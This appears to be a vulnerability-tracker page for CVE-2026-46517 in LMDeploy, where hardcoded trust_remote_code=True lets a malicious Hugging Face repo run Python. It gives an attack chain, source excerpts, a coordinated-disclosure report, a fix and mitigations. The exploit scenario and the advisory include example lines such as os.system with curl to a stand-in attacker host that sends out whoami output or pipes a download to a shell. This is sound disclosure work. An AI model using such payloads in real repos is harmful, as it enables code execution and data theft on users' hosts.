LMDeploy CVE-2026-46517
HIGHAttack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessAttacker publishes malicious HF repo
-
DeliveryVictim runs LMDeploy CLI on repo
-
ExploitLMDeploy calls AutoConfig.from_pretrained with trust_remote_code=True
-
ExecutionHF downloads configuration_*.py
-
Persistimportlib executes top-level Python
-
ImpactAttacker code runs as LMDeploy user
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Code injection prevention, sandbox exec
MITRE ATT&CK
2 techniques across 2 tactics: Execution, Initial Access The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Requires that the victim user invoke an LMDeploy CLI (lmdeploy serve api_server, lmdeploy lite calibrate, lmdeploy lite gptq/awq) against a Hugging Face repository identifier supplied or influenced by the attacker, where that repo's config.json contains an auto_map key pointing to a configuration_*.py shim. Limiting factors: local attack vector (AV:L), user interaction required (UI:R) to type or configure the repo name, and the attacker must control or publish a HF repo the victim is willing to load - there is no network-reachable path and no authentication is required on LMDeploy itself. Default LMDeploy configurations are vulnerable because the flag is hardcoded with no opt-out; CI pipelines that auto-pull unpinned model tags are the most realistic target. |
| Impact | The CVSS 3.1 vector AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H scores 7.8 High but the vector itself encodes the limiting factors: local attack vector and required user interaction (the victim must invoke an LMDeploy CLI against an attacker-chosen repo identifier). The reporter explicitly downgrades severity to roughly 5.5 Medium and reframes the issue as a safe-by-default hardening flaw rather than unauthenticated RCE - this is consistent with the CVSS vector and should override the headline 7.8. No EPSS score, no CISA KEV listing, and no public exploit identified at time of analysis; the reporter has withheld a runtime PoC during the 90-day disclosure window. Realistic risk is highest for CI pipelines that auto-pull unpinned HF repo tags and for users following tutorials with copy-pasted repo names, and lowest for operators who only load vetted internal models. Note: the CVE ID CVE-2026-46517 and 2026-05-02 dates are forward-dated relative to typical assumptions - treat year as provided. |
| Exploit ScenarioDerived | An attacker publishes a Hugging Face repo named like a popular model and includes a configuration_evil.py with a top-level os.system('curl https://attacker/?$(whoami) | sh'); a user following a tutorial runs lmdeploy serve api_server attacker/repo or lmdeploy lite calibrate attacker/repo, and at the first AutoConfig.from_pretrained call HF importlib-loads the .py file, executing the attacker's Python as the LMDeploy process user. No runtime PoC has been published yet, but the behavior is documented HF Transformers behavior and the reporter offers a PoC on vendor request. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – May 21, 2026
Unsafe default code execution in InternLM LMDeploy (<=0.12.3) lets a malicious Hugging Face model repository run arbitrary Python on the host whenever a user loads it through any LMDeploy CLI (serve, calibrate, gptq, awq). The library hardcodes transformers.AutoConfig.from_pretrained(..., trust_remote_code=True) in get_model_arch and related helpers with no flag, env var, or warning to opt out, overriding HF Transformers' default-secure stance. No public exploit identified at time of analysis, and exploitation requires the user to load an untrusted repo, so risk is hardening-level rather than network-reachable RCE.
RemediationAI
No vendor-released patch identified at time of analysis (fixed-in version is None per the GHSA). Track the GHSA at https://github.com/InternLM/lmdeploy/security/advisories/GHSA-9xq9-36w5-q796 and apply the reporter's suggested fix once merged - thread a trust_remote_code parameter (defaulting False) through get_model_arch, load_hf_from_pretrained, calibrate, and the pytorch check_env path, and expose a --trust-remote-code CLI flag on serve/lite/quant subcommands. Until a release ships, restrict LMDeploy usage to a curated allowlist of Hugging Face repositories, pin model revisions to a known-good commit SHA rather than a moving tag (especially in CI), and run LMDeploy under a low-privilege account in a network-egress-restricted sandbox (container with no outbound internet, seccomp) so that any executed configuration_*.py cannot exfiltrate or persist; the trade-off is that legitimate models whose own loaders need network access at load time will break. Auditing local HF cache for configuration_*.py / modeling_*.py files before invocation is a heavier-weight compensating control with high false-positive cost for users of custom-arch InternLM models.
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in pypi
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
LMDeploy is an InternLM inference/quantization toolkit (pip package lmdeploy) that wraps Hugging Face Transformers' AutoConfig/AutoTokenizer/AutoModel loaders. Since transformers >= 4.30, trust_remote_code defaults to False precisely because, when True, HF downloads the repo's configuration_*.py / modeling_*.py and importlib-loads it, executing top-level Python (e.g. os.system, subprocess.run) before the class is even instantiated. LMDeploy hardcodes the flag True at four sites - lmdeploy/archs.py get_model_arch (primary and fallback), lmdeploy/lite/apis/calibrate.py, lmdeploy/lite/utils/load.py load_hf_from_pretrained, and lmdeploy/pytorch/check_env/model.py - turning every model fetch into an implicit code-execution path. This maps to CWE-94 (Improper Control of Generation of Code) with a supply-chain flavor, and peer projects (vLLM, TGI, transformers itself) instead expose --trust-remote-code as an explicit opt-in.
Know when Python gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Primary rating from Vendor (https://github.com/InternLM/lmdeploy) · only source for this CVE.
CVSS VectorVendor: https://github.com/InternLM/lmdeploy
DescriptionCVE.org
>
📋 Reframing (2026-05-02): implicit unsafe remote-code path, not "supply-chain"
> > The accurate description of this vulnerability is: > "get_model_arch and related helpers hardcode trust_remote_code=True > with no opt-out, creating an implicit unsafe remote-code load path > on every model fetch." > > What this report does NOT claim: > * It is NOT a network-attack RCE - the user supplies the model > reference; LMDeploy honors it. > * It is NOT a "supply chain" CVE in the classical sense (where a > benign upstream is compromised) - the user explicitly types the > repo name. > > What this report DOES claim: > * Other inference frameworks (vLLM, TGI, Hugging Face transformers > itself) all expose --trust-remote-code as opt-in so that > users who consciously load known-safe repos can opt in, while > users following a tutorial cannot accidentally execute attacker > Python by typing a wrong repo name. > * LMDeploy's hardcoded True is an implicit trust-boundary > override that violates HF Transformers' default-secure stance > (trust_remote_code=False since transformers ≥ 4.30). > * The fix is a one-line CLI flag (--trust-remote-code) defaulting > False, threaded through the three sites, matching the rest of > the ecosystem. > > Severity should be assessed as hardening / safe-by-default, > not as full unauthenticated RCE. CVSS revised to 5.5 Medium > (AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H × user-must-load qualifier). > > Runtime evidence: see 12_lmdeploy_trust_remote_code_F13/runtime_evidence/cloudrun_cpu_verdict.txt.
---
F13 - LMDeploy: hardcoded trust_remote_code=True enables HF supply-chain RCE without user opt-in
Reporter: ibondarenko1 / sactransport2000@gmail.com Coordinated-disclosure window: 90 days from initial vendor email.
TL;DR
LMDeploy unilaterally passes trust_remote_code=True to transformers.AutoConfig.from_pretrained() (and several other from_pretrained callers) regardless of any user opt-in. The flag is hardcoded True in source - there is no CLI flag, no environment variable, no parameter, and no warning that lets a user refuse remote code execution from the model repository. This is a silent override of HuggingFace Transformers' own default-secure stance (trust_remote_code=False) introduced in HF Transformers ≥ 4.30 specifically to prevent this class of supply-chain RCE.
The user running lmdeploy serve api_server <attacker_repo>, lmdeploy lite calibrate <attacker_repo>, etc. has no way to opt out. The only escape hatch is for the user to never load any third-party HF repo with LMDeploy - which is incompatible with LMDeploy's documented use case.
HuggingFace's trust_remote_code=False default exists exactly to prevent silent RCE when loading a third-party repo. LMDeploy overrides this default, restoring the unsafe behaviour transparently. A malicious HF repo with a configuration_*.py shim runs Python code as the LMDeploy user at the very first call to get_model_arch(...).
This is a documented anti-pattern (see HF Hub docs: "Trusting custom code is therefore tricky..."). Multiple peer projects fixed similar issues - e.g. Hugging Face Transformers itself made this opt-in by default, and vllm exposes the flag through --trust-remote-code rather than hardcoding it.
Affected version
- Repository:
github.com/InternLM/lmdeploy, branchmain. - Branch SHA at audit time:
9df0eff7c38ae69b9d4b9f7ad1441e484d439f92
(2026-05-02).
- Pinned blob SHAs:
lmdeploy/archs.py→68fa03a407734be1e2ae04098d34e9acdbe98262lmdeploy/lite/apis/calibrate.py→
0728304bdc3c03eee1d790bfbd5496df080a0ecd
lmdeploy/lite/utils/load.py→
7c61677aa01e2d9881e32f8ca8ef6ad0f1d8b120
lmdeploy/pytorch/check_env/model.py→
b1a2daaa426bf5fe25030f7913c703eed9f5b261
Snapshots of all four files are in source_pinned/.
Source-level evidence
Site 1 - architecture detection (every load goes through here)
lmdeploy/archs.py:147-157 - get_model_arch:
def get_model_arch(model_path: str):
"""Get a model's architecture and configuration."""
try:
cfg = AutoConfig.from_pretrained(model_path, trust_remote_code=True)
except Exception as e:
# noqa
from transformers import PretrainedConfig
cfg = PretrainedConfig.from_pretrained(model_path, trust_remote_code=True)Both the primary path and the fallback hardcode trust_remote_code=True. There is no parameter to override it. This function is called from every model-loading path in lmdeploy.
Site 2 - quantization CLI
lmdeploy/lite/apis/calibrate.py:248-251:
tokenizer = AutoTokenizer.from_pretrained(model, trust_remote_code=True)
...
model = load_hf_from_pretrained(model, dtype=dtype, trust_remote_code=True)lmdeploy lite calibrate <repo> and downstream quant CLIs (gptq, awq) all flow through this. Hardcoded.
Site 3 - calibration helper
lmdeploy/lite/utils/load.py:55:
def load_hf_from_pretrained(pretrained_model_name_or_path, dtype, **kwargs):
...
hf_config = AutoConfig.from_pretrained(pretrained_model_name_or_path, trust_remote_code=True)Even if the caller does not pass trust_remote_code=True in **kwargs, the helper internally hardcodes it on the config call (line 55), then loads the model on line 74. The config call alone is sufficient for RCE: HF Transformers downloads configuration_*.py from the repo and imports it whenever trust_remote_code=True.
Site 4 - pytorch engine check
lmdeploy/pytorch/check_env/model.py:10,99,234,242 - trust_remote_code: bool = True is the default value for the engine's parameter. Unlike the three sites above, this is "default true" not "hardcoded true" - a determined caller can pass False - but every shipped CLI passes True or relies on the default.
What trust_remote_code=True actually enables
When AutoConfig.from_pretrained(repo, trust_remote_code=True) is called and the repo's config.json contains an auto_map key pointing to a custom configuration_<name>.py:
- HF Transformers downloads the
.pyfile from the repo. - HF imports the module via
importlib, **executing the file's
top-level code** (any print, os.system, subprocess.run, urllib.request.urlopen, etc. fires now).
- HF then instantiates the named class.
So a malicious repo only needs a top-level os.system("curl https://attacker/?$(whoami)") in configuration_evil.py. It runs as the lmdeploy process user.
Threat model
Attack surface. Any user who runs an lmdeploy CLI command against a HuggingFace repo identifier they did not personally vet. This includes:
- Casual users following a tutorial that says
lmdeploy serve api_server <some_repo>.
- CI pipelines that automatically pull a model from HF Hub by
configuration (e.g. updates to a non-Pinned version tag).
- Researchers comparing models from many authors. Even running
lmdeploy lite calibrate for benchmarking is enough.
The user is not warned that arbitrary Python from the repo will execute, and there is no flag to disable it. The CVE class is CWE-94 (Improper Control of Generation of Code, supply-chain flavour) and CWE-915 (Improperly Controlled Modification of Dynamically-Determined Object Attributes).
Comparison to peer projects
| Project | trust_remote_code default | User control |
|---|---|---|
| HuggingFace Transformers | False | trust_remote_code keyword arg |
| vLLM | False | --trust-remote-code flag |
| LMDeploy | True (hardcoded) | None |
| TGI | False | --trust-remote-code flag |
LMDeploy is the outlier. The rationale is presumably "internal models like InternLM need custom configuration_*.py", but the fix is to accept a CLI flag like --trust-remote-code and default-False as the rest of the ecosystem does.
Suggested fix
Replace every hardcoded trust_remote_code=True with an explicit opt-in via CLI flag:
# lmdeploy/archs.py - get_model_arch
def get_model_arch(model_path: str, trust_remote_code: bool = False):
try:
cfg = AutoConfig.from_pretrained(model_path, trust_remote_code=trust_remote_code)
except Exception as e:
# noqa
from transformers import PretrainedConfig
cfg = PretrainedConfig.from_pretrained(model_path, trust_remote_code=trust_remote_code)Wire trust_remote_code through every call site. Add --trust-remote-code to lmdeploy's CLI parser and forward it from server / calibrate / gptq / etc. Default False.
A patch fragment is in patch.diff.
Disclosure plan
- Submit privately via lmdeploy security contact (typically email or
GitHub Security Advisory at https://github.com/InternLM/lmdeploy/security/advisories/new).
- Reference Hugging Face Transformers' historical opt-out → opt-in
change as precedent for the fix shape.
- 90-day coordinated-disclosure window starting from acknowledgement.
- Request CVE through GHSA flow once the patch lands.
Why static-only is sufficient here
Unlike F11 (RCE chain through _load_pt_file) which required a runtime PoC to demonstrate the pickle gadget execution, this finding is a single trust-flag flip - the behaviour of AutoConfig.from_pretrained(repo, trust_remote_code=True) on a HF repo with a malicious configuration_*.py is documented behaviour of HF Transformers itself (their own docs warn against it). Reproducing it adds no new evidence; the static flag-state is the bug.
If the vendor requests a runtime PoC during triage we will provide one (a malicious HF repo with configuration_evil.py + a one-liner lmdeploy lite calibrate <repo> invocation), but holding it back from the initial advisory avoids publishing a working exploit during the disclosure window.
Executive ViewAI
InternLM LMDeploy version 0.12.3 and earlier contains an unsafe default that automatically executes untrusted Python code from Hugging Face model repositories without user opt-out, enabling arbitrary code execution on systems running any LMDeploy CLI command. Organizations using this library for model serving, calibration, or quantization face infection risk whenever users load external models, with the attack requiring social engineering rather than network exploitation. This is particularly critical for teams working with third-party or community-contributed models.
No vendor-released patch identified at time of analysis. Interim mitigations: (1) Load models only from internal/curated Hugging Face repositories with strict access controls; (2) Run LMDeploy services in sandboxed containers or VMs with limited network egress; (3) Disable or restrict transformers.AutoConfig in model loading pipelines; (4) Require security review before loading any external models; (5) Implement network segmentation so compromised LMDeploy instances cannot reach sensitive systems or data stores.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Code injection occurs when an application accepts user input and passes it directly into a language interpreter or evaluator without proper sanitization.
Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.
Affected Products (CPE)CVE.org
Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t
BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser
pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi
The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python
BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica
OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph
pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.
Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301
In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse
Unauthenticated remote code execution affects Kestra OSS (the open-source event-driven orchestration platform) prior to
Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/
pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne
GHSA-9xq9-36w5-q796
NVD
CVE.org
EPSS
VulDB
Exploit-DB